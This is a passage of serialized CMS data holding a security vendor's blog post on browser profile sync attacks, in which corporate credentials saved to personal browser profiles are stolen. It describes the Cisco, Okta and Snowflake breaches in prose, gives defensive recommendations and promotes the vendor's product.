occur","2026-04-08T00:00:00.000Z","guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks",{"items":58687},[58688,58690],{"sys":58689,"name":7796},{"id":7795},{"sys":58691,"name":342},{"id":4642},{"items":58693},[58694],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":58695},{"url":6503},"blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach",{"json":58698},{"data":58699,"content":58700,"nodeType":1382},{},[58701],{"data":58702,"content":58703,"nodeType":866},{},[58704],{"data":58705,"marks":58706,"value":58707,"nodeType":865},{},[],"Why typical browser extension risk scores are poor predictors of which extensions could actually lead to a compromise.",{"id":45527,"publishedAt":58709},"2026-08-12T12:01:03.703Z",{"items":58711},[58712,58714],{"sys":58713,"name":342},{"id":4642},{"sys":58715,"name":7796},{"id":7795},{"items":58717},[58718,58720,58722,58724,58726,58728,58730,58732,58734],{"sys":58719,"name":297,"slug":298,"tier":31},{"id":294},{"sys":58721,"name":279,"slug":280,"tier":31},{"id":276},{"sys":58723,"name":342,"slug":343,"tier":31},{"id":339},{"sys":58725,"name":288,"slug":289,"tier":45},{"id":285},{"sys":58727,"name":616,"slug":617,"tier":31},{"id":613},{"sys":58729,"name":571,"slug":572,"tier":45},{"id":568},{"sys":58731,"name":484,"slug":485,"tier":45},{"id":481},{"sys":58733,"name":324,"slug":325,"tier":45},{"id":321},{"sys":58735,"name":633,"slug":634,"tier":45},{"id":630},"q-AJwxFE1-Q49yPg6KXxf0M2eF0tk1BkAx8sMzXOC6E",{"id":58738,"title":58739,"authorsCollection":58740,"content":58745,"extension":228,"faqItemsCollection":59378,"faqTitle":59,"featured":6,"hashTags":59,"meta":59380,"metaTitle":59381,"ogImage":59,"postType":42959,"publishedDate":59382,"relatedBlogPostsCollection":59383,"slug":62421,"stem":62422,"subtitle":59,"summary":62423,"synopsis":62433,"sys":62434,"tagsCollection":62437,"topicsCollection":62443,"__hash__":62473},"blog/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches.json","Browser sync attacks: Where personal account hacks lead to corporate breaches",{"items":58741},[58742],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":58743,"profilePicture":58744},[30152],{"url":7804},{"json":58746,"links":59252},{"data":58747,"content":58748,"nodeType":1382},{},[58749,58767,58782,58788,58800,58807,58810,58818,58825,58832,58852,58864,58870,58882,58894,58900,58907,58914,58917,58925,58933,58964,58971,58978,58986,59005,59012,59019,59026,59033,59041,59059,59066,59073,59080,59087,59090,59098,59105,59111,59118,59121,59128,59135,59142,59148,59155,59161,59168,59174,59181,59187,59193,59199,59202,59210,59216],{"data":58750,"content":58751,"nodeType":866},{},[58752,58756,58764],{"data":58753,"marks":58754,"value":58755,"nodeType":865},{},[],"One of the breakaway stories of 2026 has been the rise in attacks powered by ",{"data":58757,"content":58758,"nodeType":889},{"uri":8268},[58759],{"data":58760,"marks":58761,"value":58763,"nodeType":865},{},[58762],{"type":943},"malicious browser extensions",{"data":58765,"marks":58766,"value":14251,"nodeType":865},{},[],{"data":58768,"content":58769,"nodeType":866},{},[58770,58774,58778],{"data":58771,"marks":58772,"value":58773,"nodeType":865},{},[],"Most browser extension attacks are really targeting the apps your users are accessing ",{"data":58775,"marks":58776,"value":5116,"nodeType":865},{},[58777],{"type":898},{"data":58779,"marks":58780,"value":58781,"nodeType":865},{},[]," the browser. They do this by intercepting credentials (passwords, session cookies, and so on) as you browse the internet. ",{"data":58783,"content":58787,"nodeType":912},{"target":58784},{"sys":58785},{"id":58786,"type":909,"linkType":910},"1nUMc1L69zkD3MmmdqbYm0",[],{"data":58789,"content":58790,"nodeType":866},{},[58791,58796],{"data":58792,"marks":58793,"value":58795,"nodeType":865},{},[58794],{"type":926},"But there’s an often overlooked vector that leads to the same outcome — synced browser profiles. ",{"data":58797,"marks":58798,"value":58799,"nodeType":865},{},[],"And the most dangerous part of this attack is that it often stems from personal device compromises — naturally, outside the scope of your corporate security software. ",{"data":58801,"content":58802,"nodeType":866},{},[58803],{"data":58804,"marks":58805,"value":58806,"nodeType":865},{},[],"Sign into Chrome or Edge with a Google or Microsoft account, and your passwords, bookmarks, history, and extensions follow you seamlessly across every device. For individual users, it's a quality-of-life improvement. But for organizations, it links corporate accounts to personal ones with far weaker security controls. ",{"data":58808,"content":58809,"nodeType":972},{},[],{"data":58811,"content":58812,"nodeType":981},{},[58813],{"data":58814,"marks":58815,"value":58817,"nodeType":865},{},[58816],{"type":926},"How browser sync attacks work",{"data":58819,"content":58820,"nodeType":866},{},[58821],{"data":58822,"marks":58823,"value":58824,"nodeType":865},{},[],"When an employee signs into a personal browser profile on a work device (or saves work credentials on a personal device), the browser's sync mechanism copies those credentials into a cloud account outside the organization's control. That cloud account — typically a personal Google or Microsoft account — becomes the weakest link in the chain.",{"data":58826,"content":58827,"nodeType":866},{},[58828],{"data":58829,"marks":58830,"value":58831,"nodeType":865},{},[],"The typical sequence looks like this:",{"data":58833,"content":58834,"nodeType":866},{},[58835,58840,58844,58848],{"data":58836,"marks":58837,"value":58839,"nodeType":865},{},[58838],{"type":926},"An employee signs into Chrome with their personal Google account on a corporate laptop. ",{"data":58841,"marks":58842,"value":58843,"nodeType":865},{},[],"During the course of their work, the browser prompts them to save passwords — for a VPN, an internal tool, a support system, a cloud platform. They click \"Save.\" The credential is now stored locally in the browser ",{"data":58845,"marks":58846,"value":43281,"nodeType":865},{},[58847],{"type":898},{"data":58849,"marks":58850,"value":58851,"nodeType":865},{},[]," synced to their personal Google account in the cloud.",{"data":58853,"content":58854,"nodeType":866},{},[58855,58860],{"data":58856,"marks":58857,"value":58859,"nodeType":865},{},[58858],{"type":926},"The personal account is compromised. ",{"data":58861,"marks":58862,"value":58863,"nodeType":865},{},[],"This can happen in a lot of ways, and is made easier by the less secure nature of personal accounts. They are typically accessed from devices with less or no security protection, while MFA and other identity-layer controls are less common. Once the personal device or account is breached, every synced password — including corporate ones — is in the hands of the attacker. ",{"data":58865,"content":58869,"nodeType":912},{"target":58866},{"sys":58867},{"id":58868,"type":909,"linkType":910},"2GQ4TVJQWS9VJB5W6fBeLS",[],{"data":58871,"content":58872,"nodeType":866},{},[58873,58878],{"data":58874,"marks":58875,"value":58877,"nodeType":865},{},[58876],{"type":926},"With the harvested corporate credentials, the attacker authenticates to the organization's systems.",{"data":58879,"marks":58880,"value":58881,"nodeType":865},{},[]," If MFA is absent or bypassable (via fatigue attacks, social engineering, or session token reuse), they're in.",{"data":58883,"content":58884,"nodeType":866},{},[58885,58890],{"data":58886,"marks":58887,"value":58889,"nodeType":865},{},[58888],{"type":926},"From here, it's a conventional intrusion — privilege escalation, reconnaissance, and exfiltration. ",{"data":58891,"marks":58892,"value":58893,"nodeType":865},{},[],"But the initial access was entirely outside the defender's visibility. No phishing email hit the corporate mail gateway. No exploit was fired at a corporate asset. The compromise happened in a personal context that security teams had no control over.",{"data":58895,"content":58899,"nodeType":912},{"target":58896},{"sys":58897},{"id":58898,"type":909,"linkType":910},"5llxwUFxBOjuXTyr5LXOyy",[],{"data":58901,"content":58902,"nodeType":866},{},[58903],{"data":58904,"marks":58905,"value":58906,"nodeType":865},{},[],"What makes this attack so effective is that it entirely bypasses the corporate security stack. Endpoint detection, email filtering, network monitoring — none of it sees the initial compromise because it happens on a personal device or in a personal cloud account.",{"data":58908,"content":58909,"nodeType":866},{},[58910],{"data":58911,"marks":58912,"value":58913,"nodeType":865},{},[],"The scope isn’t limited to “personal” devices either. BYOD and contractor machines suffer from the same security limitations in that they are a place where personal and corporate use converges, and/or they sit outside of the scope of your security tooling. ",{"data":58915,"content":58916,"nodeType":972},{},[],{"data":58918,"content":58919,"nodeType":981},{},[58920],{"data":58921,"marks":58922,"value":58924,"nodeType":865},{},[58923],{"type":926},"Real-world incidents",{"data":58926,"content":58927,"nodeType":1317},{},[58928],{"data":58929,"marks":58930,"value":58932,"nodeType":865},{},[58931],{"type":926},"Cisco (2022)",{"data":58934,"content":58935,"nodeType":866},{},[58936,58939,58948,58952,58960],{"data":58937,"marks":58938,"value":21,"nodeType":865},{},[],{"data":58940,"content":58942,"nodeType":889},{"uri":58941},"https://thehackernews.com/2022/08/cisco-confirms-its-been-hacked-by.html",[58943],{"data":58944,"marks":58945,"value":58947,"nodeType":865},{},[58946],{"type":943},"Cisco",{"data":58949,"marks":58950,"value":58951,"nodeType":865},{},[]," was breached by an initial access broker with ties to the Yanluowang ransomware group, UNC2447, and the ",{"data":58953,"content":58954,"nodeType":889},{"uri":4991},[58955],{"data":58956,"marks":58957,"value":58959,"nodeType":865},{},[58958],{"type":943},"Lapsus$",{"data":58961,"marks":58962,"value":58963,"nodeType":865},{},[]," threat actor group. ",{"data":58965,"content":58966,"nodeType":866},{},[58967],{"data":58968,"marks":58969,"value":58970,"nodeType":865},{},[],"A Cisco employee had enabled Chrome's password syncing feature and had stored their Cisco VPN credentials in the browser. Those credentials were synchronized to their personal Google account. The attacker compromised the personal Google account, obtained the VPN credentials, and then used a combination of voice phishing and MFA fatigue — repeatedly sending push notifications until the employee accepted one — to bypass multi-factor authentication and gain VPN access.",{"data":58972,"content":58973,"nodeType":866},{},[58974],{"data":58975,"marks":58976,"value":58977,"nodeType":865},{},[],"Once inside the network, the attacker escalated privileges, moved laterally to Citrix servers and domain controllers, and deployed offensive tooling consistent with pre-ransomware activity. Cisco's security team ultimately detected and removed the attacker before ransomware was deployed, but the adversary made repeated attempts to regain access in the following weeks, including targeting accounts where employees had only made single-character password changes after the company-wide reset.",{"data":58979,"content":58980,"nodeType":1317},{},[58981],{"data":58982,"marks":58983,"value":58985,"nodeType":865},{},[58984],{"type":926},"Okta (2023)",{"data":58987,"content":58988,"nodeType":866},{},[58989,58992,59001],{"data":58990,"marks":58991,"value":1449,"nodeType":865},{},[],{"data":58993,"content":58995,"nodeType":889},{"uri":58994},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/",[58996],{"data":58997,"marks":58998,"value":59000,"nodeType":865},{},[58999],{"type":943},"Okta breach",{"data":59002,"marks":59003,"value":59004,"nodeType":865},{},[]," followed an almost identical pattern to Cisco, but with more severe downstream consequences.",{"data":59006,"content":59007,"nodeType":866},{},[59008],{"data":59009,"marks":59010,"value":59011,"nodeType":865},{},[],"Between September 28 and October 17, 2023, an attacker gained unauthorized access to Okta's customer support case management system. The root cause: an Okta employee had signed into their personal Google profile on Chrome on their Okta-managed laptop. While signed into that personal profile, they accessed a service account for the support system. The service account's username and password were saved by Chrome and synced to the employee's personal Google account.",{"data":59013,"content":59014,"nodeType":866},{},[59015],{"data":59016,"marks":59017,"value":59018,"nodeType":865},{},[],"The attacker — having compromised either the personal Google account or a personal device — obtained these service account credentials and used them to access the support system. The compromised service account had permissions to view and update customer support cases, which contained HAR (HTTP Archive) files uploaded by customers for troubleshooting. Some of these HAR files contained session tokens.",{"data":59020,"content":59021,"nodeType":866},{},[59022],{"data":59023,"marks":59024,"value":59025,"nodeType":865},{},[],"The attacker used the stolen session tokens to hijack the legitimate Okta sessions of five customers, including 1Password, BeyondTrust, and Cloudflare — three security companies that independently detected the suspicious activity and reported it to Okta. In total, files associated with 134 Okta customers were accessed.",{"data":59027,"content":59028,"nodeType":866},{},[59029],{"data":59030,"marks":59031,"value":59032,"nodeType":865},{},[],"What made this breach particularly notable was the detection gap. Okta's security team was unable to identify suspicious file downloads in their logs for 14 days. The attacker navigated directly to the Files tab in the support system rather than opening files through individual support cases, which generated a different log event type that wasn't part of the initial investigation scope. It wasn't until BeyondTrust provided a suspicious IP address on October 13 that Okta was able to correlate the activity.",{"data":59034,"content":59035,"nodeType":1317},{},[59036],{"data":59037,"marks":59038,"value":59040,"nodeType":865},{},[59039],{"type":926},"Snowflake (customers) (2024)",{"data":59042,"content":59043,"nodeType":866},{},[59044,59047,59055],{"data":59045,"marks":59046,"value":1449,"nodeType":865},{},[],{"data":59048,"content":59049,"nodeType":889},{"uri":3488},[59050],{"data":59051,"marks":59052,"value":59054,"nodeType":865},{},[59053],{"type":943},"Snowflake campaign",{"data":59056,"marks":59057,"value":59058,"nodeType":865},{},[]," represents what happens when the browser-credential-sync problem meets infostealer malware at scale. ",{"data":59060,"content":59061,"nodeType":866},{},[59062],{"data":59063,"marks":59064,"value":59065,"nodeType":865},{},[],"In 2024, a financially motivated threat actor tracked as UNC5537 (associated with the ShinyHunters group) systematically compromised approximately 165 Snowflake customer environments. The attackers didn't exploit any vulnerability in Snowflake itself. They logged in with valid credentials.",{"data":59067,"content":59068,"nodeType":866},{},[59069],{"data":59070,"marks":59071,"value":59072,"nodeType":865},{},[],"Those credentials had been harvested by infostealer malware — including Vidar, RedLine, Lumma, RisePro, Raccoon Stealer, and MetaStealer — from employee and contractor devices over a period stretching back to 2020. Mandiant's investigation found that over 80% of the compromised accounts had prior credential exposure, and critically, the stolen credentials had never been rotated.",{"data":59074,"content":59075,"nodeType":866},{},[59076],{"data":59077,"marks":59078,"value":59079,"nodeType":865},{},[],"The personal/corporate boundary failure was central to the campaign. Mandiant specifically noted that in several cases, the initial infostealer infections occurred on contractor systems that were also used for personal activities, including gaming and downloads of pirated software. These were personal or unmonitored laptops where corporate credentials had been saved in the browser alongside everything else.",{"data":59081,"content":59082,"nodeType":866},{},[59083],{"data":59084,"marks":59085,"value":59086,"nodeType":865},{},[],"The impacted Snowflake accounts lacked MFA (which Snowflake did not enforce by default at the time), and the attackers used a custom tool to automate SQL-based reconnaissance and data exfiltration across customer instances. The stolen data encompassed hundreds of millions of customer records, and at least one victim paid an undisclosed ransom.",{"data":59088,"content":59089,"nodeType":972},{},[],{"data":59091,"content":59092,"nodeType":981},{},[59093],{"data":59094,"marks":59095,"value":59097,"nodeType":865},{},[59096],{"type":926},"What security teams can do about it",{"data":59099,"content":59100,"nodeType":866},{},[59101],{"data":59102,"marks":59103,"value":59104,"nodeType":865},{},[],"Chrome Enterprise and Microsoft Edge for Business both support policies that prevent employees from signing into personal accounts on corporate-managed browsers. This is the most direct control. It doesn't prevent all credential leakage scenarios, but it closes the sync-to-personal-cloud path.",{"data":59106,"content":59110,"nodeType":912},{"target":59107},{"sys":59108},{"id":59109,"type":909,"linkType":910},"CmrOdYVVW6wz9kdRqxOmX",[],{"data":59112,"content":59113,"nodeType":866},{},[59114],{"data":59115,"marks":59116,"value":59117,"nodeType":865},{},[],"Every incident described above was enabled or worsened by the absence of MFA on the target system. MFA should be mandatory for all human user accounts, and organizations should audit for \"ghost logins\" — local username/password accounts that persist alongside SSO and bypass its MFA enforcement.",{"data":59119,"content":59120,"nodeType":972},{},[],{"data":59122,"content":59123,"nodeType":981},{},[59124],{"data":59125,"marks":59126,"value":6331,"nodeType":865},{},[59127],{"type":926},{"data":59129,"content":59130,"nodeType":866},{},[59131],{"data":59132,"marks":59133,"value":59134,"nodeType":865},{},[],"Push makes browser security easier than ever, particularly when dealing with complex environments running different browsers and operating systems. ",{"data":59136,"content":59137,"nodeType":866},{},[59138],{"data":59139,"marks":59140,"value":59141,"nodeType":865},{},[],"You can use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. Push captures this information for every browser that your employees are using, including Chrome, Edge, Firefox, Safari, Brave, Opera, Arc, Island, and Prisma (and we’re always adding support for new ones). ",{"data":59143,"content":59147,"nodeType":912},{"target":59144},{"sys":59145},{"id":59146,"type":909,"linkType":910},"67sSoSW136TeBZzYIEXggP",[],{"data":59149,"content":59150,"nodeType":866},{},[59151],{"data":59152,"marks":59153,"value":59154,"nodeType":865},{},[],"Sync attacks can impact both saved credentials and browser extensions. This means that even if your employees aren’t saving credentials to their browser profile, you can still be at risk if they’ve installed any extensions in another browser where they’re signed in. ",{"data":59156,"content":59160,"nodeType":912},{"target":59157},{"sys":59158},{"id":59159,"type":909,"linkType":910},"1MzuYaPlUpYfTnBJRqUBtO",[],{"data":59162,"content":59163,"nodeType":866},{},[59164],{"data":59165,"marks":59166,"value":59167,"nodeType":865},{},[],"You can use Push to identify where credentials are being saved — for example, are employees using your company-approved password manager, or copying credentials from unsanctioned apps or locations? This includes where users are manually copying passwords from a password manager app rather than auto-populating (this increases the chance of them entering these passwords into phishing pages).",{"data":59169,"content":59173,"nodeType":912},{"target":59170},{"sys":59171},{"id":59172,"type":909,"linkType":910},"7gNX2RXqB2NIf1tNnJBIFD",[],{"data":59175,"content":59176,"nodeType":866},{},[59177],{"data":59178,"marks":59179,"value":59180,"nodeType":865},{},[],"You can also see where those credentials have a vulnerability, such as a weak, breached, or reused password. In this scenario, we’re looking for credentials that have been leaked online, where an employee is signed into their work browser with a personal account, and profile sync is enabled. This could indicate that the user has been the victim of an infostealer compromise or malicious extension on their personal device.",{"data":59182,"content":59186,"nodeType":912},{"target":59183},{"sys":59184},{"id":59185,"type":909,"linkType":910},"1CBezYXZtlIVbReROF7QpK",[],{"data":59188,"content":59192,"nodeType":912},{"target":59189},{"sys":59190},{"id":59191,"type":909,"linkType":910},"4xs0WNCijnwnIVc0xqpUu9",[],{"data":59194,"content":59198,"nodeType":912},{"target":59195},{"sys":59196},{"id":59197,"type":909,"linkType":910},"8gVeg0IBB5EV17iBk6XP8",[],{"data":59200,"content":59201,"nodeType":972},{},[],{"data":59203,"content":59204,"nodeType":981},{},[59205],{"data":59206,"marks":59207,"value":59209,"nodeType":865},{},[59208],{"type":926},"Stop browser-based attacks with Push",{"data":59211,"content":59212,"nodeType":866},{},[59213],{"data":59214,"marks":59215,"value":11365,"nodeType":865},{},[],{"data":59217,"content":59218,"nodeType":866},{},[59219,59222,59229,59232,59239,59242,59249],{"data":59220,"marks":59221,"value":11372,"nodeType":865},{},[],{"data":59223,"content":59224,"nodeType":889},{"uri":11375},[59225],{"data":59226,"marks":59227,"value":11381,"nodeType":865},{},[59228],{"type":943},{"data":59230,"marks":59231,"value":2717,"nodeType":865},{},[],{"data":59233,"content":59234,"nodeType":889},{"uri":11387},[59235],{"data":59236,"marks":59237,"value":11393,"nodeType":865},{},[59238],{"type":943},{"data":59240,"marks":59241,"value":11397,"nodeType":865},{},[],{"data":59243,"content":59244,"nodeType":889},{"uri":1372},[59245],{"data":59246,"marks":59247,"value":11405,"nodeType":865},{},[59248],{"type":943},{"data":59250,"marks":59251,"value":1615,"nodeType":865},{},[],{"entries":59253},{"hyperlink":59254,"inline":59255,"block":59256},[],[],[59257,59271,59290,59298,59305,59312,59338,59344,59349,59373],{"sys":59258,"__typename":5503,"content":59259,"name":59270,"title":59},{"id":58786},{"json":59260},{"data":59261,"content":59262,"nodeType":1382},{},[59263],{"data":59264,"content":59265,"nodeType":866},{},[59266],{"data":59267,"marks":59268,"value":59269,"nodeType":865},{},[],"This is the same for most browser-based attacks, like phishing (of multiple varieties, with AITM phishing and device code phishing being the most common in 2026), and even hybrid attacks like ClickFix (trick victim into installing an infostealer on their device > steal credentials and cookies > log into apps). ","Browser Sync Blog IB1",{"sys":59272,"__typename":5503,"content":59273,"name":59289,"title":59},{"id":58868},{"json":59274},{"nodeType":1382,"data":59275,"content":59276},{},[59277],{"nodeType":866,"data":59278,"content":59279},{},[59280,59284],{"nodeType":865,"value":59281,"marks":59282,"data":59283},"Personal devices are far softer targets than corporate endpoints. They typically have no EDR agent, no centrally managed antivirus, no hardened configuration baselines, and no security operations team watching for alerts. And personal browsing habits are way more likely to lead to infostealer deployment, which are often distributed through malicious advertisements on all manner of platforms — search results, social media ads, gaming forums, and so on. ",[],{},{"nodeType":865,"value":59285,"marks":59286,"data":59288},"Notably, the 2025 Verizon DBIR found that 46% of infostealer-infected systems with compromised corporate credentials were non-managed devices. ",[59287],{"type":926},{},"Browser Sync Blog IB2",{"sys":59291,"__typename":1390,"title":59292,"caption":59293,"layoutMode":59,"file":59294},{"id":58898},"Browser sync attack diagram","How a personal account compromise can lead to a corporate breach.",{"url":59295,"width":59296,"height":59297},"https://images.ctfassets.net/y1cdw1ablpvd/7KIXnq2SeCTN2zA7DoIOj4/f2b7c37c47d28ac110cd2769c35652ae/Browser_sync_attack_diagram.png",3922,1636,{"sys":59299,"__typename":1390,"title":59300,"caption":59301,"layoutMode":59,"file":59302},{"id":59109},"Preventing browser profile syncing in Chrome","Preventing browser profile syncing in Chrome.",{"url":59303,"width":1402,"height":59304},"https://images.ctfassets.net/y1cdw1ablpvd/54OsAScfL5a896m3n0is80/ee84ec32221be0a6342eb6792c8b6dca/image1.png",1054,{"sys":59306,"__typename":1390,"title":59307,"caption":59307,"layoutMode":59,"file":59308},{"id":59146},"Identify profile syncing using Push.",{"url":59309,"width":59310,"height":59311},"https://images.ctfassets.net/y1cdw1ablpvd/7Gmo7lSxoyLpmRyeEbXz4H/10e82ddfcba7a390ee5a25c931f730ff/image3.png",1380,465,{"sys":59313,"__typename":5503,"content":59314,"name":59337,"title":59},{"id":59159},{"json":59315},{"data":59316,"content":59317,"nodeType":1382},{},[59318],{"data":59319,"content":59320,"nodeType":866},{},[59321,59325,59333],{"data":59322,"marks":59323,"value":59324,"nodeType":865},{},[],"To learn more about how you can use Push to lock down extension use and block malicious extensions from running across every browser, check out our ",{"data":59326,"content":59327,"nodeType":889},{"uri":8268},[59328],{"data":59329,"marks":59330,"value":59332,"nodeType":865},{},[59331],{"type":943},"guide",{"data":59334,"marks":59335,"value":59336,"nodeType":865},{},[]," here. ","Browser Sync Blog IB3",{"sys":59339,"__typename":1390,"title":59340,"caption":59341,"layoutMode":59,"file":59342},{"id":59172},"Get detailed visibility of password manager use and password entry behavior.","Get deep visibility of password manager use and password entry behavior.",{"url":59343,"width":47177,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/74hJdhrMBMXv0enE2Qs5VD/2cdff9be14f70d2ae2283b88da0f3eeb/Push_Password_Manager.gif",{"sys":59345,"__typename":1390,"title":59346,"caption":59346,"layoutMode":59,"file":59347},{"id":59185},"Identify browser profile syncing and whether the user has active credentials that have been leaked online.",{"url":59348,"width":47177,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/3BIn8peNvp8EXo1TWqZqXO/0c3f849f24d60fa546603d12abd4c349/Browser_Profile_Sync.gif",{"sys":59350,"__typename":5503,"content":59351,"name":59372,"title":59},{"id":59191},{"json":59352},{"data":59353,"content":59354,"nodeType":1382},{},[59355],{"data":59356,"content":59357,"nodeType":866},{},[59358,59362,59369],{"data":59359,"marks":59360,"value":59361,"nodeType":865},{},[],"As well as identifying password vulnerabilities, you can also use Push to harden accounts by detecting MFA gaps and enforcing MFA (even on apps where this isn’t natively possible). Check out our ",{"data":59363,"content":59364,"nodeType":889},{"uri":1256},[59365],{"data":59366,"marks":59367,"value":59332,"nodeType":865},{},[59368],{"type":943},{"data":59370,"marks":59371,"value":13303,"nodeType":865},{},[],"Browser Sync Blog IB4",{"sys":59374,"__typename":52243,"title":59375,"arcadeDemoUrl":59376,"playText":59377},{"id":59197},"Find and fix vulnerabilities using Push to harden attack paths.","https://demo.arcade.software/3gsvKeVcdatDBiW7oC9g?embed","2 mins",{"items":59379},[],{},"Analyzing browser sync attacks and how to stop them","2026-04-15T00:00:00.000Z",{"items":59384},[59385,60559,61615],{"__typename":1429,"sys":59386,"content":59387,"title":58682,"synopsis":58683,"hashTags":59,"publishedDate":58684,"slug":58685,"tagsCollection":60549,"authorsCollection":60555},{"id":57339},{"json":59388},{"data":59389,"content":59390,"nodeType":1382},{},[59391,59397,59418,59424,59429,59435,59441,59447,59452,59455,59462,59468,59473,59478,59491,59672,59682,59689,59695,59701,59707,59723,59728,59734,59737,59744,59750,59779,59785,59798,59815,59843,59848,59854,59869,59875,59881,59884,59891,59897,59980,59986,59992,59999,60005,60011,60017,60022,60029,60035,60041,60047,60052,60058,60065,60080,60087,60093,60098,60101,60108,60114,60120,60214,60220,60227,60233,60239,60245,60251,60258,60264,60270,60290,60295,60308,60321,60334,60339,60346,60352,60359,60365,60368,60375,60381,60408,60413,60433,60439,60442,60449,60455,60468,60473,60479,60485,60488,60495,60510,60516],{"data":59392,"content":59393,"nodeType":866},{},[59394],{"data":59395,"marks":59396,"value":57350,"nodeType":865},{},[],{"data":59398,"content":59399,"nodeType":1616},{},[59400,59409],{"data":59401,"content":59402,"nodeType":1570},{},[59403],{"data":59404,"content":59405,"nodeType":866},{},[59406],{"data":59407,"marks":59408,"value":57363,"nodeType":865},{},[],{"data":59410,"content":59411,"nodeType":1570},{},[59412],{"data":59413,"content":59414,"nodeType":866},{},[59415],{"data":59416,"marks":59417,"value":57373,"nodeType":865},{},[],{"data":59419,"content":59420,"nodeType":866},{},[59421],{"data":59422,"marks":59423,"value":57380,"nodeType":865},{},[],{"data":59425,"content":59428,"nodeType":912},{"target":59426},{"sys":59427},{"id":57385,"type":909,"linkType":910},[],{"data":59430,"content":59431,"nodeType":866},{},[59432],{"data":59433,"marks":59434,"value":57393,"nodeType":865},{},[],{"data":59436,"content":59437,"nodeType":866},{},[59438],{"data":59439,"marks":59440,"value":57400,"nodeType":865},{},[],{"data":59442,"content":59443,"nodeType":866},{},[59444],{"data":59445,"marks":59446,"value":57407,"nodeType":865},{},[],{"data":59448,"content":59451,"nodeType":912},{"target":59449},{"sys":59450},{"id":57412,"type":909,"linkType":910},[],{"data":59453,"content":59454,"nodeType":972},{},[],{"data":59456,"content":59457,"nodeType":981},{},[59458],{"data":59459,"marks":59460,"value":57424,"nodeType":865},{},[59461],{"type":926},{"data":59463,"content":59464,"nodeType":866},{},[59465],{"data":59466,"marks":59467,"value":57431,"nodeType":865},{},[],{"data":59469,"content":59472,"nodeType":912},{"target":59470},{"sys":59471},{"id":57436,"type":909,"linkType":910},[],{"data":59474,"content":59477,"nodeType":912},{"target":59475},{"sys":59476},{"id":1190,"type":909,"linkType":910},[],{"data":59479,"content":59480,"nodeType":866},{},[59481,59484,59488],{"data":59482,"marks":59483,"value":57449,"nodeType":865},{},[],{"data":59485,"marks":59486,"value":57454,"nodeType":865},{},[59487],{"type":898},{"data":59489,"marks":59490,"value":57458,"nodeType":865},{},[],{"data":59492,"content":59493,"nodeType":2927},{},[59494,59517,59552,59573,59603,59633],{"data":59495,"content":59496,"nodeType":2400},{},[59497,59507],{"data":59498,"content":59499,"nodeType":38076},{},[59500],{"data":59501,"content":59502,"nodeType":866},{},[59503],{"data":59504,"marks":59505,"value":57475,"nodeType":865},{},[59506],{"type":926},{"data":59508,"content":59509,"nodeType":38076},{},[59510],{"data":59511,"content":59512,"nodeType":866},{},[59513],{"data":59514,"marks":59515,"value":57486,"nodeType":865},{},[59516],{"type":926},{"data":59518,"content":59519,"nodeType":2400},{},[59520,59540],{"data":59521,"content":59522,"nodeType":2366},{},[59523],{"data":59524,"content":59525,"nodeType":866},{},[59526,59529,59537],{"data":59527,"marks":59528,"value":57499,"nodeType":865},{},[],{"data":59530,"content":59533,"nodeType":33606},{"target":59531},{"sys":59532},{"id":33828,"type":909,"linkType":910},[59534],{"data":59535,"marks":59536,"value":57508,"nodeType":865},{},[],{"data":59538,"marks":59539,"value":57512,"nodeType":865},{},[],{"data":59541,"content":59542,"nodeType":2366},{},[59543],{"data":59544,"content":59545,"nodeType":866},{},[59546,59549],{"data":59547,"marks":59548,"value":57522,"nodeType":865},{},[],{"data":59550,"marks":59551,"value":57526,"nodeType":865},{},[],{"data":59553,"content":59554,"nodeType":2400},{},[59555,59564],{"data":59556,"content":59557,"nodeType":2366},{},[59558],{"data":59559,"content":59560,"nodeType":866},{},[59561],{"data":59562,"marks":59563,"value":57539,"nodeType":865},{},[],{"data":59565,"content":59566,"nodeType":2366},{},[59567],{"data":59568,"content":59569,"nodeType":866},{},[59570],{"data":59571,"marks":59572,"value":57549,"nodeType":865},{},[],{"data":59574,"content":59575,"nodeType":2400},{},[59576,59594],{"data":59577,"content":59578,"nodeType":2366},{},[59579],{"data":59580,"content":59581,"nodeType":866},{},[59582,59585,59591],{"data":59583,"marks":59584,"value":57562,"nodeType":865},{},[],{"data":59586,"content":59587,"nodeType":889},{"uri":937},[59588],{"data":59589,"marks":59590,"value":57569,"nodeType":865},{},[],{"data":59592,"marks":59593,"value":37929,"nodeType":865},{},[],{"data":59595,"content":59596,"nodeType":2366},{},[59597],{"data":59598,"content":59599,"nodeType":866},{},[59600],{"data":59601,"marks":59602,"value":57582,"nodeType":865},{},[],{"data":59604,"content":59605,"nodeType":2400},{},[59606,59615],{"data":59607,"content":59608,"nodeType":2366},{},[59609],{"data":59610,"content":59611,"nodeType":866},{},[59612],{"data":59613,"marks":59614,"value":57595,"nodeType":865},{},[],{"data":59616,"content":59617,"nodeType":2366},{},[59618],{"data":59619,"content":59620,"nodeType":866},{},[59621,59624,59630],{"data":59622,"marks":59623,"value":57605,"nodeType":865},{},[],{"data":59625,"content":59626,"nodeType":889},{"uri":1951},[59627],{"data":59628,"marks":59629,"value":8061,"nodeType":865},{},[],{"data":59631,"marks":59632,"value":1615,"nodeType":865},{},[],{"data":59634,"content":59635,"nodeType":2400},{},[59636,59645],{"data":59637,"content":59638,"nodeType":2366},{},[59639],{"data":59640,"content":59641,"nodeType":866},{},[59642],{"data":59643,"marks":59644,"value":57627,"nodeType":865},{},[],{"data":59646,"content":59647,"nodeType":2366},{},[59648],{"data":59649,"content":59650,"nodeType":866},{},[59651,59654,59660,59663,59669],{"data":59652,"marks":59653,"value":21,"nodeType":865},{},[],{"data":59655,"content":59656,"nodeType":889},{"uri":14355},[59657],{"data":59658,"marks":59659,"value":315,"nodeType":865},{},[],{"data":59661,"marks":59662,"value":57646,"nodeType":865},{},[],{"data":59664,"content":59665,"nodeType":889},{"uri":7472},[59666],{"data":59667,"marks":59668,"value":7465,"nodeType":865},{},[],{"data":59670,"marks":59671,"value":57656,"nodeType":865},{},[],{"data":59673,"content":59674,"nodeType":866},{},[59675,59678],{"data":59676,"marks":59677,"value":57663,"nodeType":865},{},[],{"data":59679,"m